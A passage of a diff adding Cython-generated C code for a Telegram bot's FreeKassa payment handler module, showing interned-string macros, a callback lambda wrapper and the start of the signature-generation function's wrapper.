__Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input +#define __pyx_kp_u_ __pyx_mstate_global->__pyx_kp_u_ +#define __pyx_n_s_DEBUG __pyx_mstate_global->__pyx_n_s_DEBUG +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FREEKASSA_API_KEY __pyx_mstate_global->__pyx_n_s_FREEKASSA_API_KEY +#define __pyx_n_s_FREEKASSA_SHOP_ID __pyx_mstate_global->__pyx_n_s_FREEKASSA_SHOP_ID +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_kp_u_FreeKassa __pyx_mstate_global->__pyx_kp_u_FreeKassa +#define __pyx_kp_u_FreeKassa_2 __pyx_mstate_global->__pyx_kp_u_FreeKassa_2 +#define __pyx_kp_u_FreeKassa_3 __pyx_mstate_global->__pyx_kp_u_FreeKassa_3 +#define __pyx_kp_u_FreeKassa_4 __pyx_mstate_global->__pyx_kp_u_FreeKassa_4 +#define __pyx_kp_u_FreeKassa_5 __pyx_mstate_global->__pyx_kp_u_FreeKassa_5 +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_n_u_RUB __pyx_mstate_global->__pyx_n_u_RUB +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_n_u__21 __pyx_mstate_global->__pyx_n_u__21 +#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 +#define __pyx_n_s__24 __pyx_mstate_global->__pyx_n_s__24 +#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_n_s__35 __pyx_mstate_global->__pyx_n_s__35 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_u_amount __pyx_mstate_global->__pyx_n_u_amount +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_api_key __pyx_mstate_global->__pyx_n_s_api_key +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_basicConfig __pyx_mstate_global->__pyx_n_s_basicConfig +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_c __pyx_mstate_global->__pyx_n_s_c +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_choosing_amount_freekassa __pyx_mstate_global->__pyx_n_s_choosing_amount_freekassa +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_u_completed __pyx_mstate_global->__pyx_n_u_completed +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_confirm_keyboard __pyx_mstate_global->__pyx_n_s_confirm_keyboard +#define __pyx_n_s_create_payment __pyx_mstate_global->__pyx_n_s_create_payment +#define __pyx_n_u_currency __pyx_mstate_global->__pyx_n_u_currency +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_n_s_email __pyx_mstate_global->__pyx_n_s_email +#define __pyx_n_u_email __pyx_mstate_global->__pyx_n_u_email +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_s_encode __pyx_mstate_global->__pyx_n_s_encode +#define __pyx_n_u_enter_custom_amount_freekassa __pyx_mstate_global->__pyx_n_u_enter_custom_amount_freekassa +#define __pyx_n_s_entering_custom_amount_freekassa __pyx_mstate_global->__pyx_n_s_entering_custom_amount_freekassa +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_u_freekassa __pyx_mstate_global->__pyx_n_u_freekassa +#define __pyx_n_u_freekassa_2 __pyx_mstate_global->__pyx_n_u_freekassa_2 +#define __pyx_kp_u_freekassa_amount __pyx_mstate_global->__pyx_kp_u_freekassa_amount +#define __pyx_n_s_freekassa_webhook __pyx_mstate_global->__pyx_n_s_freekassa_webhook +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_generate_signature __pyx_mstate_global->__pyx_n_s_generate_signature +#define __pyx_n_s_generate_signature_locals_genexp __pyx_mstate_global->__pyx_n_s_generate_signature_locals_genexp +#define __pyx_n_s_genexpr __pyx_mstate_global->__pyx_n_s_genexpr +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_handlers_payments_freekassa_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_freekassa_pay +#define __pyx_kp_s_handlers_payments_freekassa_pay_2 __pyx_mstate_global->__pyx_kp_s_handlers_payments_freekassa_pay_2 +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_n_s_hashlib __pyx_mstate_global->__pyx_n_s_hashlib +#define __pyx_n_s_hexdigest __pyx_mstate_global->__pyx_n_s_hexdigest +#define __pyx_n_s_hmac __pyx_mstate_global->__pyx_n_s_hmac +#define __pyx_kp_u_https_api_freekassa_com_v1_order __pyx_mstate_global->__pyx_kp_u_https_api_freekassa_com_v1_order +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_u_i __pyx_mstate_global->__pyx_n_u_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_n_s_inline_keyboard __pyx_mstate_global->__pyx_n_s_inline_keyboard +#define __pyx_n_s_ip __pyx_mstate_global->__pyx_n_s_ip +#define __pyx_n_u_ip __pyx_mstate_global->__pyx_n_u_ip +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_json __pyx_mstate_global->__pyx_n_s_json +#define __pyx_n_s_k __pyx_mstate_global->__pyx_n_s_k +#define __pyx_n_s_keyboard __pyx_mstate_global->__pyx_n_s_keyboard +#define __pyx_n_s_lambda __pyx_mstate_global->__pyx_n_s_lambda +#define __pyx_n_s_level __pyx_mstate_global->__pyx_n_s_level +#define __pyx_n_u_location __pyx_mstate_global->__pyx_n_u_location +#define __pyx_n_s_logging __pyx_mstate_global->__pyx_n_s_logging +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_u_metadata __pyx_mstate_global->__pyx_n_u_metadata +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_new __pyx_mstate_global->__pyx_n_s_new +#define __pyx_n_s_nonce __pyx_mstate_global->__pyx_n_s_nonce +#define __pyx_n_u_nonce __pyx_mstate_global->__pyx_n_u_nonce +#define __pyx_n_s_params __pyx_mstate_global->__pyx_n_s_params +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_freekassa __pyx_mstate_global->__pyx_n_u_pay_freekassa +#define __pyx_n_u_paymentId __pyx_mstate_global->__pyx_n_u_paymentId +#define __pyx_n_s_payment_id __pyx_mstate_global->__pyx_n_s_payment_id +#define __pyx_n_s_payment_url __pyx_mstate_global->__pyx_n_s_payment_url +#define __pyx_n_s_post __pyx_mstate_global->__pyx_n_s_post +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_freekassa __pyx_mstate_global->__pyx_n_s_process_callback_pay_freekassa +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_s_requests __pyx_mstate_global->__pyx_n_s_requests +#define __pyx_n_s_response __pyx_mstate_global->__pyx_n_s_response +#define __pyx_n_s_response_data __pyx_mstate_global->__pyx_n_s_response_data +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_n_s_sha256 __pyx_mstate_global->__pyx_n_s_sha256 +#define __pyx_n_u_shopId __pyx_mstate_global->__pyx_n_u_shopId +#define __pyx_n_s_sign_string __pyx_mstate_global->__pyx_n_s_sign_string +#define __pyx_n_u_signature __pyx_mstate_global->__pyx_n_u_signature +#define __pyx_kp_u_solo_net __pyx_mstate_global->__pyx_kp_u_solo_net +#define __pyx_n_s_sorted_params __pyx_mstate_global->__pyx_n_s_sorted_params +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_u_status __pyx_mstate_global->__pyx_n_u_status +#define __pyx_n_u_success __pyx_mstate_global->__pyx_n_u_success +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_time __pyx_mstate_global->__pyx_n_s_time +#define __pyx_n_u_type __pyx_mstate_global->__pyx_n_u_type +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_email __pyx_mstate_global->__pyx_n_s_user_email +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_n_u_user_id __pyx_mstate_global->__pyx_n_u_user_id +#define __pyx_n_s_user_ip __pyx_mstate_global->__pyx_n_s_user_ip +#define __pyx_n_s_uuid __pyx_mstate_global->__pyx_n_s_uuid +#define __pyx_n_s_uuid4 __pyx_mstate_global->__pyx_n_s_uuid4 +#define __pyx_n_s_values __pyx_mstate_global->__pyx_n_s_values +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_6 __pyx_mstate_global->__pyx_int_6 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_int_1000 __pyx_mstate_global->__pyx_int_1000 +#define __pyx_tuple__3 __pyx_mstate_global->__pyx_tuple__3 +#define __pyx_tuple__10 __pyx_mstate_global->__pyx_tuple__10 +#define __pyx_tuple__22 __pyx_mstate_global->__pyx_tuple__22 +#define __pyx_tuple__26 __pyx_mstate_global->__pyx_tuple__26 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 +#define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 +#define __pyx_tuple__30 __pyx_mstate_global->__pyx_tuple__30 +#define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 +#define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 +#define __pyx_tuple__33 __pyx_mstate_global->__pyx_tuple__33 +#define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 +#define __pyx_codeobj__2 __pyx_mstate_global->__pyx_codeobj__2 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__6 __pyx_mstate_global->__pyx_codeobj__6 +#define __pyx_codeobj__9 __pyx_mstate_global->__pyx_codeobj__9 +#define __pyx_codeobj__17 __pyx_mstate_global->__pyx_codeobj__17 +#define __pyx_codeobj__19 __pyx_mstate_global->__pyx_codeobj__19 +#define __pyx_codeobj__27 __pyx_mstate_global->__pyx_codeobj__27 +/* #### Code section: module_code ### */ + +/* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_20lambda1(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_20lambda1 = {"lambda1", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_20lambda1, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_20lambda1(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_c = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("lambda1 (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_c,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_c)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 87, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "lambda1") < 0)) __PYX_ERR(0, 87, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_c = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("lambda1", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 87, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.lambda1", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_lambda_funcdef_8handlers_8payments_13freekassa_pay_lambda1(__pyx_self, __pyx_v_c); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_lambda_funcdef_8handlers_8payments_13freekassa_pay_lambda1(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_c) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("lambda1", 1); + __Pyx_XDECREF(__pyx_r); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_c, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, __pyx_n_u_pay_freekassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __pyx_t_2; + __pyx_t_2 = 0; + goto __pyx_L0; + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_AddTraceback("handlers.payments.freekassa_pay.lambda1", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "handlers/payments/freekassa_pay.py":30 + * + * + * def generate_signature(params, api_key): # <<<<<<<<<<<<<< + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_1generate_signature(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_1generate_signature = {"generate_signature", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_1generate_signature, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_1generate_signature(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_params = 0; + PyObject *__pyx_v_api_key = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("generate_signature (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_params,&__pyx_n_s_api_key,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_params)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 30, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_api_key)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 30, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("generate_signature", 1, 2, 2, 1); __PYX_ERR(0, 30, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, 